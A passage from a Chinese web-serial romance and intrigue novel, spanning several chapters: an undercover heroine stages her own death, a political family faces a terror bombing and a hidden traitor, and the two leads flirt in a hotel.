她神情越发沉重,语调不受控制带着一丝愤怒:“这个联盟竟然能将云乡黑白两道都收入囊中,不容小觑,若是不想办法揪出来,只怕后果不堪设想。” 男人手里的烟蒂燃尽,他立马又点了一根,状似不经意瞥了周绮珊一眼,“你想说什么?” 周绮珊,“现在云乡还不能动,宽扎极有可能只是被推上台面的工具人,甚至云乡那些‘保护伞’都是听命于人,如果现在打草惊蛇,那些人势必会有所警惕,以后再想揪出他们只怕难上加难。” 男人陷入了短暂的沉默,低头看着手里的甲片,眸底印着一簇幽火。 “这件事关系重大,不是你我可以决定的。” “不。”周绮珊斩钉截铁,认真纠正他,“长官,您错了,正是因为这件事关系重大,所以目前只有我们可以决定。” 她的眸光比手里的烟火还亮,男人有些失神,呛了一口烟,“你知不知道自己说什么?” 周绮珊,“云乡虽偏远,但经济还算繁华,什么势力能在云乡黑白两道通吃?想必我不说您应该也猜到了。这份资料一旦交上去,宽扎和其勾结势力必定会土崩瓦解,但他们只是傀儡,抓了他们云乡还会有下一个‘宽扎’,云乡百姓依旧活在水深火热之中,我们依旧什么都没有改变。” “所以,我斗胆恳请长官,暂时不要上交这份资料,等我查清楚背后之人再一并清算。” “你查清楚?你还要查?”男人上下打量她,“你都说了,对方势力不简单,你再查下去就是往龙潭虎穴里跳,会没命的。” 周绮珊不语,但坚毅的眼神已经说明了一切。 她不怕,更不在乎。 疯了!男人还是摇头,“先不说临时更改上级命令是违反军法,就算让你继续潜伏你也未必能查到什么?依照你的描述,对方势力不可小觑,或许在鲸港高层都是顶尖的人物,你是周家人,云乡毒贩不认识你,但鲸港高层一定知道你,只要一接触这个势力,你的身份就会暴露,除了送死,你依旧什么都改变不了。” 周绮珊,“这个我已经想过了,既然我的身份是个束缚,那我就舍了周家姓。我可以假死,做张三做李四。” “你知不知道你在说什么?你疯了吗?”男人斜眼打量她,“周家是多少人一辈子都达不到的顶峰?你说舍就舍?” 周绮珊,“我没有疯。我爷爷说过,从我踏出周家门开始,家族就不会再供养我了。但他不知道,我从未想过要靠家族余荫庇护,我一直想做的是家族的余荫。” “所以你要拿命拼前程,何必呢?你只是个女孩……” 忽然,他收住了没有说完的话。 因为他突然意识到,这个时候再用性别取缔她的决定,就是在侮辱人。 周绮珊笑了笑,坦率道,“是啊,我是女孩儿,但女孩儿就不能让家族以我为傲吗?女孩儿就不能保家卫国抛洒热血吗?上帝创造物种时只给了男女身体结构的不同,其余后世所有关于的男女认知皆来自世俗,我不苟同世俗,世俗也休想拉我进地狱。” “……” * 【叮——】 【当前人物周绮珊,随意撕毁标签,剧目惩罚:立即抹杀!】 突然,脑子里响起一阵轰鸣,姜花衫毫无预兆睁开了眼睛。 【抹杀倒计时开始:03:00:00】 【02:59:59】 剧目惩罚被触发了。 周绮珊竟然自己撕毁了标签? 姜花衫眼里满是错愕,怔愣了许久缓缓坐了起来。 剧目惩罚不可回避,逃过了就是新生…… 她不知道怎么形容此刻的震撼,只知道她现在全身的血液都在沸腾,好似有什么叫嚣想要冲破身体的束缚。 这次她远在千里之外,无法干涉剧情,所以周绮珊能依靠的只有她自己了。 姜花衫无法入睡,拿出手机看了看时间。 凌晨3点,不知道这个时候的周绮珊正在经历什么? * 云乡边郊。 男人久久没有说话,经历过无数次命悬一线,他已然很少会因为一个人牵动情绪了。 眼前的女孩儿,就像当年的自己,少年赤子之心,比天高比地厚。 他之所以用‘女孩儿’这个词形容她,是因为他忽然感受到了这三个字的力量和美好。 男人站起身,对她行了个军礼,“这件事我会认真考虑,你先回去。” 周绮珊眼神略有些闪烁,“只怕您没有时间考虑了。” 男人顿住脚步,一脸不解看着她,正要开口…… “砰——” 死寂的工厂突然响起一声枪鸣,子弹穿过风障击中了距离两人最近的一块钢板,窜出半米远的火星子。 “他们在那!快!抓住他们!快!”一群男人叫嚣着冲进了工厂。 “快跑!”男人反应极快,一把扣住周绮珊的手腕,转身往后门撤退。 “怎么回事,你暴露了?” 周绮珊随意瞥了一眼,“我故意的。” 男人愣了愣,像看怪物一样打量她,“什么故意的?” 周绮珊,“周家千金潜伏云乡卧底调查不幸因公殉职。我知猜到您不会同意我的申请,所以这是我为自己策划的假死局。” 想要彻底抹除她的身份,就要让幕后之人深信她已经死了,要想达到这个目的,最好的方法就是‘死’在他们手里。 男人被气笑了,“假死局?你确定最后不会假戏真做,我们俩真的嗝屁?!” 回应他的是风声里数不清的枪声,很明显他们已经被包围了。 周绮珊难得心虚,“要真这样,只能说我们命该如此……” “呵?”男人顶着腮帮,从怀里掏出一把手枪丢给她,“算命的说了我会长命百岁,你休想克我!” 话落! “砰隆——” 一声惊天震响,整座工厂在巨幕火光中炸开了花…… * 【叮——】 【抹杀倒计时结束:00:00:01】 姜花衫倏地抬起头。 远处的天空,浓墨的夜色忽然被挤进了一丝光亮,那道光越来越艳,渐渐晕染成了橘色的朝阳。 黎明的序章终将结束,白昼的盛大即将奏响…… 【恭喜当前人物周绮珊,完成我以我为傲。奖励:你是耀眼的孩子,自我是你的盔甲,剧目世界为诚实让步,欢迎您自由探索。】 姜花衫牵动嘴角,眸底的颤动浸湿了眼睫。 周绮珊做到了。 现在对她来说才是真正的海阔凭鱼跃,天高任鸟飞…… * 沈归灵走进房间时,姜花衫已经穿戴整齐,双手抱着膝盖坐在窗前地毯上看日出。 橘色的夕阳将她笼罩在尘光中,每一根散落在腰间的青丝都在发光。 沈归灵微微一愣,顺着她的目光看了过去,云雾缭绕,初生的旭日正以它这一天中最温柔的模样亲吻着这个世界。 他不动声色走了过去,挨着姜花衫的肩膀盘腿坐了下去。 “看什么呢?” 姜花衫偏头看了他一眼,镀着金光的睫毛也染上了旭日的温柔,“看日出。” 若是平时,她绝对不会回答他的废话,沈归灵能感受她的语调里的欢快,挨着肩膀靠了过去,“可以接吻吗?” 姜花衫愣了愣,没等反应过来沈归灵低头贴着她的额头。 “想知道你开心的时候,亲吻会不会变甜。”他半撩的眼睑,碎光穿过浓密的乌睫落进眸底成了晃荡的春水。 姜花衫沉默了几息,抬起下巴主动贴了上去。 沈归灵愣了愣,这种怔愣让他看上去有些呆滞,许久后,他眼里的光才慢慢汇聚,原本就漂亮地不像话的眼睛更让人挪不开眼。 “你亲我?” 姜花衫掀眸撩了他一眼,“变甜了吗?” 沈归灵眼眸微暗,抬手捧住她的头轻轻回吻,“太浅了,没尝出来……” …… 欠的字数已经补齐,新裙已开,宝宝们达到条件点主页申请即可,系统有延迟,大家耐心等待半天应该就差不多了~ 第603章 东湾局势 “这对东湾来说,简直就是一场灾难,我谨代表东湾广大群众对这些恐怖分子造成的治安威胁深表谴责!!!” 新闻镜头下,傅嘉盛西装革履,眼底印着乌黑的淤青,任谁看了都是一副心力交瘁的疲惫模样。 “这次东湾的影视城招商会我们耗尽人力辛苦筹备了一年,开幕在即发生这种事,我们除了对此表示遗憾和谴责外,更要对于此次来参加东湾招商的各界友人,和东湾全体民众、以及A国上下关注东湾发展的国民表达歉意,东湾向诸位承诺,势必清扫一切恐怖势力,坚决为捍卫大家来东湾的人生安全,为此我们作出以下决策……” “一、无限期关闭影视城开启计划,全力追查此次亚荷酒店枪械案件,并承诺不论调查结果如何,警署厅对外公示所有调查内容,以便群众检验。” “二、对于此案中受到牵连的招商友人,东湾将一并承担所有医疗费用,其他参与投资商在排除嫌疑后,将由东湾亲自组织回程之旅,并报此次来东湾期间的所有开销。” “三、州长热线启动二十四小时悬赏令,悬赏金为一百万,欢迎掌握线索的热心市民匿名来电。” 狡猾的政客永远只会让你看见他想让你看见的一面,傅嘉盛这番慷慨激昂的演说赢得了东湾市民的一致好评,全湾人民前所未有地团结,一致对外。 姜花衫按下暂停键,若有所思,“没想到傅家这次竟然这么刚,这么看来,傅家和那些杀手还真没关系。” 沈归灵,“瘦死的骆驼比马大,傅家好歹也曾经也是鲸港圈的顶流,傅岭南并非庸俗之辈,当初要不是沈、苏两家合力,傅家尚能蛰伏。不过从现在的局势看,傅家不仅和那些凶手没有关系,甚至还试图拉出更大的利益链。” 终于可以光明正大用沈归灵的脑子了,姜花衫竖起耳朵,“什么利益链?” 沈归灵被她这讨巧的样子可爱到了,盯着她眼睛都挪不开,嘴角微翘,“招商会是傅家近两年最大的谋划,傅家因为凶杀案宣布无限期关闭影视楼,这一决定不仅关系傅嘉盛的升迁,还关乎东湾百姓的实际利益,傅家摆明是想把这些闹事的架在火上烤。” “不仅如此,傅嘉盛还特意强调了会向民众公示此次的调查结果,或许,他们已经把亚荷枪斗案看成了是鲸港故人阻止他们回升的手段,所以,傅岭南想用舆论为傅家造势,若是傅家真查出什么,说不定还能利用这波热度为自己复仇。” 姜花衫摸了摸下巴,回头指着混乱的新闻现场,“那,我们接下来做什么?” 沈归灵按断电源,“等吧,傅家这么造势,一定会想办法‘抓’出这个幕后黑手。” 姜花衫忽然想到什么,眉头微皱,“按你这么说,傅家岂不可以随意攀咬,万一他把脏水泼向沈家怎么办?”说完,便又摇了摇头,自我否定,“他们不敢。” 当初傅家联合多方势力想把沈家拉下水,最后却把自己送出了鲸港,如今他们和沈家早已不是同一个阶层,除非傅家能一击击中沈家要害,否则绝不会冒着灭族的危险再招惹沈家。 傅岭南纵横一生,不会连这么浅显的道理都看不透。 姜花衫一脸悠哉伸了伸懒腰,故作不经意扫了沈归灵一眼。 脑子好使就是不一样,她从回来之后一直忙忙碌碌,这还是她第一次这么空闲,难怪那些名利圈的老谋深算都喜欢坐山观虎斗。 沈归灵被她的眼神取悦到了,努力控制嘴角的,“这段时间东湾会查的很严,我们暂时只能在酒店里等。” 姜花衫皱眉,“出去放个风都不行?” 沈归灵摇头,一本正经,“不行,你太漂亮了,出去一定会引起骚动,这里是傅家的地盘,我们的目的是找出方眉身后合作势力,多一事不如少一事。” 虽然被拒绝了,但是这拒绝的理由让人挑不出半点毛病。 “……”姜花衫傲娇抬了抬下巴,轻咳了一声,故意犟嘴,“那也太无聊了,这哪刺激了?” 沈归灵想了想,认真道:“要不然我们再熟悉一下?” “呵~”姜花衫面无表情笑了笑,转身走进卧室,回应他的是一声坚定冰冷的关门声。 心虚了。 沈归灵眼里的笑意几乎要藏不住,低声溢了出来。 …… 第604章 稳坐钓鱼台 两天后,东湾亚荷酒店的枪击案热度刷破新高,直接盖过了南湾飙车案。傅家这波操作,让原本有些头疼的周家缓了一口气。 周国潮心情大好,再加上处理完了未央台的烂摊子,便约了一众好友去内湖垂钓,不想刚进钓鱼池,便遇上了沈庄和苏敬琉,内湖沿岸中心位一共有两个钓鱼台,沈苏两家占其中一个。 一行人原本还跟在周国潮身后拍马屁,见状纷纷变了脸色,不约而同闭上了嘴。 前段时间,周家被沈家压制得毫无还手之力,周元义还因此被下调去了北湾,沈、周两家的梁子算是结大了,这个时候遇上只怕不是好事。 就在众人猜测周国潮会如何反应时,他神情淡然,径直登上了沈庄所在的钓鱼台。 家族之争没有永远的敌人,只有永远的利益,周家若因为一个鲸港总署厅的位置就跟沈家反目,那才是真正的鼠目寸光。 “沈老、苏老,收获不错啊?”周国潮笑容寒暄,脸上的神情看不见丝毫异样。 苏敬琉挑眼瞥了周国潮一眼,“哟?周老也来钓鱼?” 周国潮见沈庄闭目养神没有任何回应,笑着点头,“出来晚了,没有好位置,瞧着你们这边的鱼多,不介意挤一挤吧?” 苏敬琉看了沈庄一眼,“别问我,今天这台子是沈老定的,我鱼杆都是蹭来的。” 周国潮转眼看向沈庄,“沈老?” 沈庄缓缓抬眸,“周老瞧了过来的,那就坐吧。” 周国潮回身,朝台下的管家招招手,管家立马提着工具上台,穿线吊钩甩杆一气呵成,待万事俱备立马将手里的鱼竿递给周国潮,自己则退回了台下。 随行的一群人见状,立马占领了隔壁的钓鱼台。 等鱼上钩的时间颇为沉闷,周国潮盯着眼前的湖面,故作不经意,“东湾的事想必两位也有所耳闻,傅家利用舆论倒也积累了一波好名声,不知两位怎么看啊?” 苏敬琉接过管家地上来的红酒,语调随意,“靠坑蒙拐骗愚弄大众得来的假名声,来的快去的也快,倒是周老,你应该开心坏了吧?现在都没人记得你家阿珩飙车纵火的事情了。你说怎么那么巧?该不会这也是你和岭南商量好的?” 周国潮心知这老狐狸是想故意激怒自己方便套话,语调不咸不淡,“阿珩的事说到底就是个误会,到时候法院自会公示,倒是这傅家,又是关闭招商会又是悬赏令,这番造势来势汹汹,只怕是准备起复的预谋。” 这话一落,隔壁钓鱼台的众人立马竖起了耳朵。 当初傅家是被沈、苏两家合力赶出鲸港的,傅家能不能回来,还是得看沈、苏两家的意愿,谋权者最怕站错队,所以底下的人总得想办法摸清上层的心思。 这时,沈庄忽然开口,“一个小小的地方建设都能闹出这么大的纰漏,可见东湾领导班子都是些酒囊饭袋。” 众人默默低头,相互看了看,心里大概有了谱。 看来,这次不管傅家怎么折腾注定都溅不起水花。 * 第605章 晚安吻 “是。” 莫然忍俊不禁笑了出来,她总算知道心思深沉的少爷为什么偏偏对姜小姐情有独钟了。 少女那么直白热烈,太容易在成为深渊里的一束光,简直就是少爷命中注定的克星。 “谁太漂亮了?” 两人说话的功夫,沈归灵就回来了,手里还提了一束白色山茶花和一个草莓蛋糕。 姜花衫立马被吸引了注意力,屁颠屁颠跑上前,“怎么样?打听到什么有用的消息了吗?” 她跑过来的时候两只眼睛扑闪,虽然黑色的眸子里只有对消息的渴望,但沈归灵还看地一愣一愣地挪不开眼。 姜花衫略有些不满,“发什么呆啊?问你话呢?” 沈归灵也隐隐察觉到了自己有些不对劲,最近他总是会出现这样的恍惚,明明她什么都没错,但脑子就是会忽然宕机。 以前也没有这个毛病啊。 他放轻了呼吸,将白色的花束递给她,“进屋说。” 姜花衫原本打算维持塘主的威严,冷脸拒绝,低头一看竟然是山茶花,还没反应过来手就伸过去了。 “……” 沈归灵眼里的笑意多了几分,很是自然拉住她的手,“睡了多久?吃了东西没?” 姜花衫还想撑一把,正打算甩开他的手,山茶花的清香迎面扑来,她脑子里不自觉就闪过沈归灵拉着她从墓园下山的画面。 “刚起来。” 有问有答,第一次这么乖,沈归灵不觉愣住了,略带几分诱哄,“想不想吃蛋糕?草莓味的,很甜。” 说到这‘甜’字,姜花衫忽然感觉舌尖有些发烫,转身看向客厅,“莫助理……” 她原本想邀请莫然一起,但回头莫然竟然凭空消失了,连土遁术都学会了,果然能力很强。 沈归灵松开她的手,十分绅士拉开坐椅,然后开始拆蛋糕盒。 姜花衫盯着他看了一眼,把花放在桌上,一点点挪向座位,等她刚刚坐好,沈归灵才慢慢抬起头把小蛋糕推到她面前,“吃吧。” 姜花衫眼神飘了一下,直起腰身,刚拿起叉子咬了一口,沈归灵便主动开口。 “亚荷酒店现在已经被全面封锁,里面的人出不去,外面的人也进不来,傅家这是打算一个一个摸查。” 姜花衫听得认真,目不转睛看着他。 沈归灵有些顶不住她这么‘炙热’的目光,战术性顿了顿,低头喝了一口水,清了清嗓子,“我已经联系上了事先安排的鱼饵,他把那天晚上几个凶手的形体特征都记了下来,五分钟前我让安排了人冒充‘热心’市民给傅嘉盛报案,不出意外,警署厅今晚就会行动。” 姜花衫立马瞪大了眼睛。 不愧是未来最年轻的A国议员长,阴谋阳谋一套一套的。 不过…… 对她来说倒是省时省力。 姜花衫挖了一口奶油,“然后呢?” 沈归灵,“傅嘉盛不是说会向A国上下公示调查结果吗?正好看看他能查出什么名堂。” 姜花衫点头,聪明啊,这样他们全程都在暗处,即便幕后之人要报复他只能对傅家下手,万一被傅嘉盛歪打正着反击了回去,那就更好了,正好借机削弱对方的实力。 这就叫坐收渔翁之利。 姜花衫对沈归灵这次的安排很满意,顺手拿起刀具切了一块小蛋糕,“诺,一起吃。” 沈归灵垂眸看了一眼面前的蛋糕,默默接过,没几口就下了肚。他略有些意犹未尽,抬眸撩了姜花衫一眼,站起身,“你先吃,我去洗澡。” 姜花衫原本吃得正开心,听了这话险些噎过气,“……你,你洗什么澡?” 沈归灵被她这草木皆兵的样子逗笑了,双手抱胸搭理她,“姜花衫,讲点道理,我刚从外面回来。” 姜花衫不讲道理,“洗什么洗?不准洗。” 沈归灵,“不洗澡我睡不着。” “睡这么睡?不许睡。” 沈归灵扬眉,拉开她身旁椅子又坐了过去,“那你快点吃。” 姜花衫皱眉,“干嘛?还有事?” 沈归灵单手托腮,目光温柔看着她,“你又不让我洗澡,又不让我睡觉,是想和我做别的?” 姜花衫眼皮跳了跳。 沈归灵微微倾斜身子,低垂的眼里满是危险信号,“一起洗?” “叽——” 姜花衫蹭得一下挑起,身后椅子摩擦地面发出极其刺耳的声音,沈归灵闭眼侧过耳朵。 “我不是不敢,是对跟你一起洗澡没兴趣。” 说完,人就不见了。 沈归灵刚转过头,耳边传来砰地一声。 明白了,不是对跟他一起洗澡没兴趣,是不敢。 他略有些遗憾,站起身慢慢走进过道。 “叩叩——” “干嘛!!!” “还有个东西忘记给你了。” “不要。” “很重要的。” 话落,门房开了一道缝,姜花衫木着脸探出头,“什么?” 沈归灵一手抵住房门,低头攫住她的唇,含糊道,“晚安吻。” …… 第606章 叛徒 东湾,青山居客。 旅舍经理半躬着身子,小心翼翼奉茶。 沈娇垂眸思索,略有些难以置信,“你说,兰晞被阿灵气回去了?” 经理点头,“两位少爷不知道在云顶房说了什么,最后兰晞少爷什么都没做直接打道回府了。” 这倒是稀奇啊。 以沈兰晞的性子,如果知道她给衫衫和阿灵安排的幽会的地方,一定会出面干预,说不得连她这个姑姑都少不得被他以少主的身份训斥。沈归灵竟然直接把人挡回去了? 沈娇震惊之余不免对沈归灵高看了一眼,她之所以连夜飞来东湾,就是怕姜花衫和沈归灵幽会的事被发现,没想到沈归灵还有点担当,竟然把衫衫藏在星空房,自己一个人面对兰晞。 经理见沈娇没有说话,又主动说道,“兰晞少爷来的时候气势汹汹,但走的时候……” 沈娇抬眸看了他一眼,“走的时候怎么了?” 经理一边回忆一边琢磨,“来咱们这抓奸闹事的我看的多了,兰晞少爷虽然情绪比普通人收敛许多,但通过我多年的职业经验,我还是能感觉到一丝不对劲。” 沈娇略有些不满,“搁这说书呢?一次给我说清楚。” “是。”经理吓得连连鞠躬,“沈总,我觉得……兰晞少爷像极了那种原配找上门,却发现出轨恋人更爱三儿的状态……” “什么乱七八……”沈娇眼神忽然顿住,似乎想到什么,一脸震惊看向经理,“你是说……” 经理表情为难,委婉道,“两位少爷都是人中龙凤,相互吸引也是情理之中。” “……”沈娇还是有些难以置信。 经理立马道,“沈总,我在这守了十年了,被骗了感情的都是兰晞少爷这样的,错不了。” 闻言,沈娇眼里仅存的三分疑虑顷刻荡然无存。 这么看也不是不可能,兰晞和阿灵这孩子身份对立,实力却不相伯仲,朝夕相处的确很容易产生相爱相杀的情感,若非是兰晞动了私情,实在很难想象沈归灵到底用了什么手段把沈兰晞伤成这样。 沈娇理清思路,不觉又骄傲了起来,不愧是她教出来的女儿,不仅掰直沈归灵还让沈兰晞成了手下败将,说到底,她的女儿才是沈园里面最厉害的那个。 她轻咳了一声。故意板着脸,“昨日的事我不希望听见任何风言风语。” 经理立马应道,“沈总放心,我们跟了您十年,知道规矩。” 沈娇点头,“收拾一下,准备闭店吧。” 经理愣了愣,“闭……闭店?沈总,这……” 沈娇,“知道规矩还问?” 经理立马低头噤声。 沈娇站起身,优雅从容从包里取出钻石墨镜,“把你的人都带着,稍后会有人联系你们去该去的地方。这,就扔了吧。” 扔了? 经理听罢一脸头疼。 当初开山劈石光改造地基就花了近千万,更别说花十年时间养成了天然生态房。 沈娇看出了经理的不舍,淡淡道,“放心,新地方只会比这更好。” * 东湾,傅宅。 傅嘉盛挂了电话,一脸喜色看向一旁的傅岭南,“爸,警署厅那边说,根据热心市民的线索,果真抓到了五个嫌疑人,现在人已经在押往刑侦监狱的路上了,我现在得立刻赶过去。” “急什么?”傅岭南冷冷开口。 傅嘉盛脸上的激动溢于言表,“爸,您还有什么要交代的?” 傅岭南,“‘那个热心市民’的身份查过了?” 傅嘉盛点头,“查过了,是那天去亚荷酒店送东西的外卖员,外卖员原本是想借送外卖机会去酒店偷安针摄像头,不想正好有个镜头拍到了那日枪斗的场景。” “这么凑巧?” 傅嘉盛,“警署厅的人已经查过了,那家伙因为涉嫌隐私偷拍进过两次监狱,最近一个月才放出来的,他的确是个惯犯。也真是因为他知道自己涉嫌违法所以才没有在案发第一时间提交证据,重赏之下必有勇夫,看来这次是老天都在帮我们。” 傅岭南深思了片刻,一时挑不出什么毛病,便暂时搁下,又开启了新的话题,“这些人能悄无声息混进招商队,说明背后定有人谋划,事情已经闹到这个地步,他们不可能没有准备,撤离路线都安排好了吗?” “放心吧爸,今晚的抓捕行动没有人知道,另外我特意安排了四辆押送车来回往返,就是为了混淆视听,他们绝对不会想到,今晚高架立桥封路排查其实是为了方便押送嫌疑犯。媒体那边,暂时也都不知道情况,还蹲在亚荷酒店门口驻守。” “砰——” 两人正在屋里说话,忽然外头传来一声瓷器碎裂的声音。 傅岭南和傅嘉盛脸色微变。 “谁?!”傅嘉盛二话不说出门查看。 傅文博愣了愣,手里还拿着半个瓷盏,一脸诧异看向楼梯的方向。 没等他开口,傅嘉盛黑着脸上前质问,“你怎么会在这?” “我是……”傅文博正要解释,忽然反应过来,“不是,爸,这是我家,我不在这在哪?” 傅嘉盛左右看了看,“刚刚只有你在这?” 傅文博看着手里的青花瓷片,犹豫片刻点了点头,“只是我,爸,这挺贵的吧?我不是故意了,您别跟爷爷说。” 他记得二伯母当初和傅家撕破脸时砸的那个花瓶好像和这个就是一对,当时爷爷差点气得背过气去。 傅嘉盛一把拍下他的花瓶,回头看了书房一眼,一脸晦气,“赶紧滚。” 傅文博长舒了一口气,一脸猥琐,“马上滚,你千万别说是我啊。” 傅嘉盛看着眼前的不太聪明的犬子,刚刚的喜色完全不见踪影,冷脸转进书房,恰好这时傅岭南的目光看了过来,他低头轻咳了一声,“阿博打小就这样,毛手毛脚,我改天一定好好教训他。” 傅岭南懒得生这闲气,闭目养神,“你也赶紧滚。” “……”傅嘉盛神情讪讪,灰溜溜躲了出去。 * 第607章 命与运 凌晨一点。 “来来来,大家喝咖啡,打起精神。” 亚荷酒店前的新闻媒体人面无血色,为了蹲到第一手消息,他们不少人已经在这守了两天了。 “谢谢啊。” “哎,也不知道这案子什么时候是个头……” 大家有一句没一句地碎碎念,忽然,所有人的手机不约而同响起。 “喂?什么?高架立桥发生了恐怖袭击?” “车毁人亡?无一生还?” “快!快去高架!!!” * “这次的恐怖袭击是一场有预谋有组织的有针对的报复行动,我谨代表东湾向此次遇难的警员同胞表示真切的慰问。”傅嘉盛穿着黑色西装对着媒体镜头深鞠躬,“东湾在此承诺,哪怕掘地三尺也一定会把这群国之败类找出来。” 莫然按下暂停键,转头看向沈归灵,“少爷,以上是关于高架爆炸东湾ZF的所有发言。” 姜花衫皱眉,难道我们猜错了?傅家和那群凶手其实早就暗中勾结了,故意做了杀人灭口的局混淆大众? 不对。 不合理。 如果是合谋,应该是共赢,但傅家现在不仅招商会没开成,连之前累及的公信力也在大幅下降,一次亚荷酒店时间东湾ZF可以是突袭没有准备,但这次却是在羁押嫌疑犯的路上爆破的,警署厅明明已经知道嫌疑犯的危险性,不可能没有防备,但就是在这样高压的环境下还是让对方得逞了,这就不得不让人怀疑傅嘉盛这个东湾领导人到底有没有能力治理好东湾。 现在已经隐隐有了质疑的声音,按这个趋势发展下去,傅家铁定是赔了夫人又折兵 她一脸嫌弃,“傅家怎么这么没用,竟然一个回合都没有撑住。” 沈归灵摇头,“太过了,不对劲。” “什么太快了?” “傅家在东湾发展了两年,那些人再厉害也不过是外来势力,怎么可能在这么短的时间内摸清楚刑侦车羁押的路线。”沈归灵想了想,又继续说道,“他们没有选择交火,而是直接炸毁,连炸药的克数都算的一点不错,这完全是一场有预谋的暗杀。” 蓦地他抬眸,轻描淡写,“傅家有内鬼。” 内鬼?姜花衫微愣,但顺着这个思路联通,发现一切好像都解释得通。 她不由两眼发光,盯着沈归灵的额头,不愧是剧目认可的高智脑果然好用,好想要啊…… 沈归灵被她眼里的炙热烫得都快有些坐不住了,低头轻咳了一声,“莫助理,你先出去。” 莫然心领神会,正要起身…… 姜花衫摆摆手,身体慢慢前倾靠向沈归灵,“出去干嘛?你继续说啊,谁是叛徒?” 莫然抬眸看了沈归灵一眼,见他没有接话又乖乖坐了回去。 “……”沈归灵抬手,掌心贴着她的额头把人推开半米远,“坐好。” 姜花衫瞪眼,“你不知道?” 沈归灵睨了她一眼,“傅家那两兄妹很可疑。” 见她不解,沈归灵又耐心解释,“昨晚热线电话是在凌晨打过去的,除了傅嘉盛就只有去抓人的刑侦队知道,但刑侦队的都死了,说明泄密的只能是傅家。” “傅嘉明已死,傅家人口关系就更简单了,傅岭南没有立场,傅嘉盛不可能自己出卖自己,只有可能是家里出了内鬼?” 这么说好像也有点道理。 姜花衫眯眼,“傅文博……傅潇潇?” * “砰——” 一声巨响,滚烫的瓷盏撞上漆花屏风碎裂一地。 傅嘉盛额前青筋抽动,眸底泛着一片血色,“岂有此理,到底是谁?!到底是谁走漏了风声?!” 往常这个时候傅岭南一定会出声阻止,但这次,他一反常态什么话都没有说,不仅如此,傅家这位顶梁柱仿佛一瞬间苍老了许多,眼里的雄心壮志也染上了锈色。 傅嘉盛吁吁喘着气,思忖片刻上前跪在傅岭南面前,“爸,现在A国上下都在笑话我没能力,您说,我们接下来该怎么做?” 傅岭南抬眸看了他一眼,又缓缓闭上眼,“等吧。” 等? 傅嘉盛一时没反应过来,“您要我等什么?” 傅岭南,“等有能力的人出手。” 傅嘉盛的脸色顿时阴沉到了谷底,“爸,怎么连您也这么说?” 傅岭南摇摇头,眼神依然有了垂暮之色,“一命二运三风水,四积阴德五读书,这人若要成大事,最重要的是命。我之前不认命,总觉得自己不过是差了一点气运才输给沈庄那个匹夫的,现在看来,傅家命定如此。” 傅嘉盛两眼睁睁,咬牙切齿,“您说这话是什么意思?什么命定如此?我傅嘉盛生在权利顶峰,难道命还不算好吗?” “呵……”傅岭南自嘲笑了笑,“这不是命是你的运,运是你生来所处的环境,这些都是可以改变的,就像傅家一夜之前从神坛掉落。匹夫之勇遇乱世成枭雄逢盛世为牛马,你生来是‘龙’还是‘虫’,这才是一个人的命,命是不可以改变的,因为虫永远不可能变成龙。” 如今傅嘉已无大势,傅嘉盛的‘虫’性就显露出来了。 傅岭南之所以如此悲凉,是因为他已经预见了傅家的未来。 傅嘉盛忍着心中的怒火,“爸,你要说教是不是也该换个时候?眼下……” “铃——” 不等他说完,书房的电话铃声忽然响起。 傅嘉盛愣了愣,看了傅岭南一眼,略带几分疑惑接通了电话,“喂……” 他刚说了一个字就顿住了,等到电话发出忙音还没缓过神。 傅岭南闭了闭眼,正要起身,傅嘉盛满脸惊慌失措跪地抱住傅岭南的腿,“爸,是国会秘书部的电话,他们说……东湾恐怖事件已经严重影响A国国民对ZF的信任,现暂停我在东湾一切职权,交给国会调查员处理。” “爸……你刚刚说的等,难道就是要我等鲸港的电话?” 傅岭南冷笑,“这么好的机会,那些人怎么会放过?” “那怎么办?爸?您能不能再想想办法?” 傅岭南摇头,“你连这点判断的能力都没有了,再回鲸港也是别人的盘中餐,罢了,还是留在东湾吧。” “爸!爸!”傅嘉盛不甘心,死死抱着他腿不撒手,“那阿博呢?他还小,他……” “他就更不要说了……”傅岭南闭了闭眼,实在不想说出什么难听的话。 傅嘉盛万念俱灰,瘫软在地。 傅岭南轻叹了一声,慢步向门口走去,刚推开门忽然想到什么,原本还萧瑟的眼底闪过一丝厉色,“家里面出了内鬼,找出来,处理干净。” …… 第608章 噩耗 东湾高架恐怖袭击案一夜之间成为了全A国国民关注的热点,事发仅仅三个小时,鲸港特派小组就已经乘专机到达东湾,四个小时后,东湾封锁了海陆空三线交通,这里彻底成为了一座围困之城。 如此高压的环境下,东湾市民草木皆兵。 就在所有人等着调查员给出一个满意交代时,云乡市又出了大新闻。 -当地涉黑组织为隐藏罪证,用残忍手段击杀警署厅十八名卧底,但真正引发人们愤怒的是,这十八位被公布的名单里,竟然有位一星上将,要知道这样的人物在A国都是能独当一面的守国将军,他们为A国立下的汗马功劳足以载入史册,这样一位英雄竟然无声无息死在了云乡一个废弃的工厂?! 国民的愤怒情绪到达了顶峰,纷纷讨伐云乡。 内阁为了安抚国民的情绪,授予这次为国牺牲的勇士们二等功勋,并以国礼下葬。 十八位英雄的名讳由内阁确定后,占领了各大媒体周刊的头条。 * 姜花衫看见这条新闻时,便在心中暗叫不好。 苏妙那傻子还不知道什么情况,这消息指不定能把她吓死。 眼下东湾的局面一时半会也解不开,他们也是时候回鲸湾了。姜花衫告知了沈归灵她的想法,沈归灵二话不说便让雷行去安排。 一个小时后,一行人登机光明正大从东湾上空起飞。 东湾如今被三军把守,一只苍蝇都别想飞出去,姜花衫看着脚下渐渐模糊的城市,有些好奇沈归灵是怎么办到的? “你告诉爷爷我们来东湾了?” 沈归灵摇头,“这种小事哪用惊动爷爷,这次来鲸港的调查员是蔡严。” “哦~难怪。”姜花衫恍然,周元义被逼下马后,沈家扶持蔡严做了鲸港警署厅总厅长,这份知遇之恩蔡严自是会涌泉相报。 * 与此同时。 狭小的公租房内,一片狼藉。 苏妙坐在一地狼藉的司法书籍里,怔怔看着手里的报纸。 -【英雄名单:…、…、…、…、周绮姗、…】 她全身冰冷,神情涣散看着手里的名单,“说好的,回来要给我撑腰,你怎么能言而无信呢?周绮姗……你这个骗子……骗子……” * 云乡十八位英雄的故事愈演愈烈,众人从最关注的一星上将逐渐扩散到无名小卒,其中唯一一位女性的名字渐渐被人们所看见。 周绮姗。 她是十八位烈士里唯一的女性,人们不禁对她感到好奇。 于是,更多人知道了这个叫周绮姗的女孩儿。 她很年轻,今年才满了十八岁,她是A国顶级官宦大族周氏的千金。 这消息一出,全国哗然。 